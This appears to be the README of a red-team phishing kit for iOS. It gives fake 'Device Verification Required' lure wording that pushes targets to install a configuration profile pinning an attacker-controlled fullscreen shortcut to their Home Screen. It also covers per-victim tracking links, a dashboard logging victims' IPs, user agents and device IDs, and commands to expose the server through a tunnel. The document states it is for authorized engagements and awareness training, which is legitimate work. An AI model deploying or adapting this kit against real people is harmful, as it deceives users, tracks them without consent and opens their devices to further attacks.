iOS ClickFix - WebClip social engineering template. Coaches targets into installing a .mobileconfig that pins an attacker-controlled shortcut to their Home Screen. For authorized red team engagements only.
WebClip ClickFix Template
A red team template demonstrating the ClickFix โ WebClip social engineering chain on iOS. A convincing corporate portal coaches the target into installing a .mobileconfig profile that places an attacker-controlled shortcut on their Home Screen.
Intended for authorized red team engagements and security awareness training only.
Lure Page

Attack Flow
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Attacker sends a personalized link โ
โ https://your-site.com/?t=John โ
โโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Target opens page in Safari โ
โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ ๐ Device Verification Required โ โ
โ โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โ
โ โ A new sign-in was detected on this device. โ โ
โ โ Install the Meridian Security Profile to โ โ
โ โ maintain access. โ โ
โ โ โ โ
โ โ โโโโโโโโโโโโโโโโโโโโ 87% Scanning... โ โ
โ โ โ โ
โ โ [ Install Security Profile ] โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Tap "Install"
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Server generates a unique .mobileconfig for "John" โ
โ iOS prompts: Settings โ Profile Downloaded โ Install โ
โโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ WebClip shortcut added to Home Screen โ
โ โ
โ โโโโโโโโ โ
โ โ M โ MedSync โ custom icon, fullscreen โ
โ โโโโโโโโ โ
โ โ
โ Tapping opens: https://your-webclip-page.com/?t=John โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Per-Target Personalization
Each target gets a unique link - no shared tokens, no guesswork:
| Target | Link | |--------|------| | John | https://your-site.com/?t=John | | Sarah | https://your-site.com/?t=Sarah |
The ?t= value travels through the entire chain:
- ClickFix page receives
?t=John /profile?t=Johngenerates a.mobileconfigwith the WebClip URLhttps://your-webclip-page.com/?t=John- After installation, every time John opens the WebClip, his identity is passed to your page
Setup
Requirements
pip install aiohttp
Configure
Edit serve.py - set the URL the WebClip shortcut will open when tapped:
LURE_URL = "https://your-webclip-page.example.com"
Or via environment variable at runtime:
LURE_URL=https://your-webclip-page.example.com python3 serve.py
Run
python3 serve.py
Listening on 0.0.0.0:3001
Expose via tunnel:
cloudflared tunnel --url http://localhost:3001
Send the link
https://your-tunnel.example.com/?t=John
Endpoints
| Endpoint | Description | |----------|-------------| | GET / | ClickFix lure page | | GET /profile?t=Name&tmpl=webclip | Generate and download a .mobileconfig | | GET /downloads | Live dashboard - who downloaded a profile | | GET /profile-log | Raw JSON download log |
Tracking Downloads
/downloads is a live browser dashboard (auto-refreshes every 4s):

โโโโโโโโโโโโฌโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโโโโโโฌโโโโโโโโโโโ
โ Time โ Target โ Template โ IP โ UUID โ
โโโโโโโโโโโโผโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโโโโโโผโโโโโโโโโโโค
โ 14:32:11 โ John โ webclip โ 84.110.x.x โ 7EF8A3F3 โ
โ 14:35:44 โ Sarah โ webclip โ 192.168.1.x โ 3B21CC09 โ
โโโโโโโโโโโโดโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโโดโโโโโโโโโโโ
Each profile has a unique UUID - correlate a download with a specific device and target.
Raw JSON at /profile-log:
[
{
"ts": "14:32:11",
"ip": "84.110.x.x",
"ua": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 ...)",
"target": "John",
"tmpl": "webclip",
"clip_uuid": "7EF8A3F3-EB21-4295-AF05-E161874F7C48"
}
]
Logs are in-memory - restarting the server clears them.
What Gets Installed
โ
Shortcut on Home Screen (WebClip)
โ
Opens in fullscreen - no Safari address bar
โ
Custom blue icon (120ร120 PNG, embedded in profile)
โ
Unique UUID per download for device correlation
โ No MDM enrollment โ No CA certificate installed โ No restrictions or system-level changes
IsRemovable: false makes the profile appear locked in Settings, but the user can still remove it via Settings โ VPN & Device Management.
Profile Templates
The server supports multiple profile types via the tmpl parameter (default: webclip).
Add a new template in serve.py:
TEMPLATES = {
"webclip": { ... }, # โ default
"wifi": { # โ example: Wi-Fi profile "payload": """ <key>PayloadContent</key> <array> <dict> <key>PayloadType</key> <string>com.apple.wifi.managed</string> ... </dict> </array>""" }, }
Use it: /profile?t=John&tmpl=wifi
Disclaimer
For authorized use only.>
This template is provided for authorized penetration testing, red team engagements, and security awareness training. Do not use against individuals or systems without explicit written authorization.>
"Meridian Systems" is a fictional brand. The .mobileconfig installs a Home Screen shortcut only - no MDM enrollment, no system access.
License
MIT